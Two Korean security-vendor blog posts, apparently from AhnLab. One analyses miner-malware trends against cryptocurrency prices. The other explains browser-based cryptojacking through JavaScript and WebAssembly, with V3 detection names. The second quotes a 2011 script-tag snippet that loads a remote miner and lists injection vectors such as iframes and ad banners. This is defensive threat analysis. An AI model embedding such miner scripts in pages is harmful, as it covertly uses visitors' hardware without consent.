2018년 마이너(Miner) 악성코드 샘플과 감염 리포트 수량이 크게 증가했다. 해당 악성코드의 샘플 수량은 2017년의 127천건에서 

2018년도는 299만건으로 무려 2,254% 증가율을 보였다.


[그림 1] Miner 악성코드 샘플 수량 및 감염 리포트 수량 vs 비트코인 가격

(※ 비트코인 시세: 코인마켓캡(https://coinmarketcap.com) 자료 기준)


마이너 악성코드의 폭발적인 증가는 암호화폐(Cryptocurrency, 일명 가상화폐)의 급격한 가치 상승에 기인한 것으로 분석된다. 실제로 [그림 1]과 [그림 2]의 비트코인(Bitcoin, BTC)과 모네로(Menero, XMR) 가격 추세 그래프에서 알 수 있듯이 2018년 1분기 암호화폐의 가격 상승과 함께 샘플 및 감염 리포트 수량이 폭발적으로 증가했다. 참고로 암호화폐의 대명사로 알려진 비트코인과 달리 모네로는 거래의 익명성이 보장되어 누가 얼마나 보낸 것인지 알 수 없으며, 성능 좋은 고가의 GPU(Graphics Processing Unit)를 장착한 시스템이 아닌 일반 CPU(Central Processing Unit) 환경에서도 채굴을 지원하는 대표적인 코인으로 알려져 있다. 이러한 이유로 공격자는 불특정 다수를 감염시켜 채굴을 할 수 있는 모네로를 선호하는 것으로 알려져 있다.


[그림 2] 비트코인과 모네로 가격 추세 (2017 ~ 2018)


마이너 악성코드 샘플의 유포와 활동은 앞서 언급한대로 암호화폐 가치에 비례하여 증가하거나 감소했다. 안랩은 2010년부터 V3 진단명으로 마이너(Miner)를 사용했다. 비트코인은 2009년 최초로 알려졌으며 이후 채굴을 할 수 있는 마이너 도구들이 알려지기 시작한 것으로 보인다. 아래 [그림 3]과 같이 2011년부터 채굴을 노린 마이너 악성코드의 수와 감염 리포트 수량이 조금씩 증가하기 시작했다. 20134분기 감염 리포트 수량이 3분기 대비 627백여건에서 399천여건으로 537% 증가 하였는데 이때도 비트코인 가격이 전 분기 111달러에서 502달러로 무려 350% 상승했다. 이러한 사례를 통해 암호화폐 가치 상승이 마이너 악성코드의 증감 추세에 어느 정도 영향을 끼치는 것으로 추측할 수 있다.


 [그림 3] 마이너 악성코드 샘플 수와 감염 보고 건수 (*기간: 2011 ~ 2013)


그러나 마이너 악성코드의 악성코드 활동이 암호화폐 가치에 따라서만 연동한다고 단정할 수는 없다. 실제 사례로 20184분기의 마이너 악성코드의 활동을 주목할 필요가 있다. 해당 시기의 마이너 악성코드는 특이한 양상을 보여주고 있다. 20183분기 257천이였던 샘플 수량은 20184분기에는 73만건으로 183% 증가하였다([그림 1] 참고). 샘플 수량만 증가한 경우라면 단순 변형의 증가로 설명 될 수 있지만, 해당 기간의 감염 리포트 수량 역시 3분기 286천건에서 4분기 634천건으로 121% 증가했다. 이는 지금까지 설명한 암호화폐 가치상승과 비례한 마이너 악성코드 증가와 반대가 되는 현상이다.


그렇다면 과거에도 유사한 사례가 있었는지 확인해 볼 필요가 있다. , 암호화폐의 가치 상승과 상관없이 20184분기처럼 샘플 수량 또는 감염 리포트 건수가 증가한 일이 발생했을까? 이에 대한 답은 아래 [그림 4]에서 확인할 수 있다. 20144분기에서 20151분기 사이에 유사한 사례가 존재했다.   


[그림 4] Miner 악성코드 샘플 수량 및 감염 리포트 수량 vs 비트코인 가격 (2014 ~ 2015)


[그림 4]와 같이 비트코인 가격이 하락하는 추세에 20144분기부터 증가하기 시작한 샘플 수량은 20151분기 최고에 다다랐다

암호화폐의 시세 상승과 관련 없이 샘플과 감염 보고 수량이 증가하는 이유는 특별한 인과관계가 확인되지는 않았다. 단지, 과거에도 

유사한 사례가 있는 것을 확인했으며, 악성코드 제작자들은 시세와 관련 없이도 마이너 악성코드를 유포하고 활발히 활동할 수 있음

을 과거 사례를 통해 알 수 있었다.


2018년 마이너 악성코드 동향 분석 보고서 전문은 2019년 2월 12일(화), 월간’안’ 2월호 에서 확인할 수 있다. 



Posted by 분석연구팀

암호화폐 시장이 달아오름과 동시에 채굴 방식 또한 점차 다양해지고 있다. PC에 악성 채굴기 실행파일을 몰래 설치하는 악성코드뿐만 아니라[각주:1], 웹 브라우저를 기반으로 하여 암호화폐를 채굴하는 방식이 2017년부터 폭증하고 있다. 

웹 브라우저 기반으로 동작하는 마이닝 방식은 기존의 실행 파일 기반과는 다르게 악성 자바스크립트(JavaScript)를 이용해 동작한다. 자바스크립트는 추가로 악성 자바(JAVA) 파일 또는 웹어셈블리(WebAssembly) 파일을 로드할 수 있으며, 해당 웹 페이지에 접속했을 때 접속자는 개인 하드웨어 자원을 이용하여 채굴을 하게 되고 그 결과는 공격자의 지갑 주소에 전송된다. 

파일 기반의 악성코드는 최종 페이로드를 사용자 시스템에 전달하기 위해 파일 다운로드 후 실행하기까지 과정이 필요하지만, 웹 기반의 마이닝 악성코드는 단순 웹 페이지 접속 조건만을 만족하면 되기 때문에 공격자 입장에서는 좀 더 손쉬운 채굴 방식이 될 수 있다.

웹 브라우저를 이용한 최초의 마이닝 방식은 암호화폐 가격이 지금보다 낮았던 2011년에 이미 확인된 바 있다. ‘Bitcoin Plus’란 이름의 서비스는 비트코인을 채굴할 목적으로 작성된 자바스크립트를 제공하였다. 이 스크립트는 악성 자바아카이브(JAR) 파일을 다운로드 하고 자바 실행 환경의 시스템에서 채굴하였다.

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>

<script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>

<script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com")</script>

miner.js - 악성 JAR 파일 bitcoinplus-miner.jar 로드

bitcoinplus-miner.jar - 실제 마이닝 기능을 수행

최근에는 암호화폐 종류가 다양해지고 마이닝이 인기가 높아짐에 자바스크립트 마이너 파일 역시 다양하게 제작, 유포되고 있다. 대표적으로는 CoinHive (XMR 채굴)이 있으며 이 외에도 CryptoNoter(XMR, BCN, ETN), DeepMiner(XMR, ETN 외) 등 다양하다. 이러한 마이너 파일들은 GitHub 등 저장소에 소스가 공개되어 있어 접근하기도 쉽다. 자바스크립트 파일 외에 지갑 주소, 프록시, 스레드 개수 등을 설정하는 Config 파일을 별도로 구현하기도 하며 이는 마이너마다 차이가 있다.

공격자는 다음과 같은 방식 등을 이용하여 악성 마이너 파일을 웹 브라우저에 로드할 수 있다. 

  • 개인 사이트 또는 블로그에 악성 자바스크립트 포함
  • 해킹으로 탈취한 사이트에 악성 자바스크립트 포함 (Ex. iframe 태그 이용)
  • 정상 사이트에 포함된 광고 배너에 악성 자바스크립트 포함
다음은 최근 접수된 샘플로 ad1.html 이름의 광고성 페이지 안에 악성 자바스크립트 파일을 로드하는 코드가 삽입되어 있다.

ad1.html – 마이닝 목적의 자바스크립트 파일 로드

로드 된 deepMiner.js 파일은 다음과 같이 난독화 되어 있는 파일이다. 소켓 관리, 마이닝 기능 수행 시작 등 실질적인 기능에 대한 구현 부분만 포함하고 있으며 접속 풀 주소, 호스트, 포트 등의 기본 정보는 파일 내에 없다. 이 부분은 서버에 업로드 된 별도의 설정 파일로 구현 되어있을 것으로 보인다. 

deepMiner.js – 난독화 되어 있음

ad1.html 페이지 접속시 로드 된 deepMiner.js 파일은 채굴을 위한 CryptoNight 알고리즘 수행을 위해 worker.min.js 파일을 로드한다. 

추가 파일 로드

worker.min.js 파일 또한 난독화 되어 있는데 이 파일은 유포지의 /lib/ 경로에 존재하는 해시 알고리즘 구현 파일인 cryptonight.asm.js 파일 또는 cryptonight.wasm 웹어셈블리 파일을 로드하여 메모리에 올리는 역할을 한다. 웹어셈블리 파일은 웹 브라우저 상에서 실행 가능한 컴파일된 바이너리로서 자바스크립트(인터프리터 방식)보다 훨씬 빠른 속도로 실행 가능하다. 다만 웹어셈블리 WASM 파일은 컴파일 된 형태이기 때문에 외형만 봐서는 그 기능을 파악하기 어렵다. 따라서 이를 웹어셈블리를 텍스트 형식 파일인 WAT 파일로 변환하면 부분적으로 그 기능을 파악할 수 있다. 

웹어셈블리 파일 – 해시 알고리즘 구현

웹어셈블리 파일 텍스트 포맷 – 해시 알고리즘 구현

웹어셈블리를 이용한 것은 채굴을 좀 더 빠르고 효과적으로 하기 위한 방식으로, 최근 발견되는 악성코드는 대부분 해시 알고리즘 부분을 웹어셈블리 파일로 구현하여 로드하는 것으로 확인된다.

참고로 웹어셈블리는 브라우저 종류와 버전에 따라 지원 여부가 다르다. 만약 지원하지 않는 브라우저 환경일 경우에는 원본 코드인 자바스크립트 파일을 로드한다. 작성 기준 현재 Internet Explorer 는 웹어셈블리를 지원하지 않는다.[각주:2] Internet Explorer 로 ad1.html 페이지를 방문한 사용자는 웹어셈블리 파일 대신 asm.js 자바스크립트 파일이 로딩된다. 

최종적으로 마이닝 기능을 위한 파일이 모두 로드 되면 웹 브라우저의 CPU 사용량이 급등하며 채굴 기능이 수행된다. 

지금까지 살펴본 바와 같이 암호화폐 채굴 악성코드는 채굴자 개인의 PC 자원 혹은 다른 사람의 자원을 이용하기 위해 최근 들어서 그 수가 증가하고 있다. 웹 브라우저에 로드되어 마이닝 기능을 수행되는 방식은 웹브라우저를 종료하면 그 기능이 종료되고 현재까지는 채굴 이외의 기능은 확인되지 않고 있다. 하지만 사용자의 시스템 자원을 무단으로 이용하고 불특정 다수를 대상으로 악성 행위를 하기 때문에 주의를 기울일 필요가 있다. 

V3 제품군에서는 다음과 같은 진단명으로 탐지하고 있다.

  • HTML/CoinMiner
  • JAVA/CoinMiner
  • JS/CoinMiner
  • WASM/Cryptojs


  1. http://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?curPage=3&menu_dist=2&seq=26900&key=&dir_group_dist=&dir_code= [본문으로]
  2. https://caniuse.com/#search=webassembly [본문으로]
Posted by 분석팀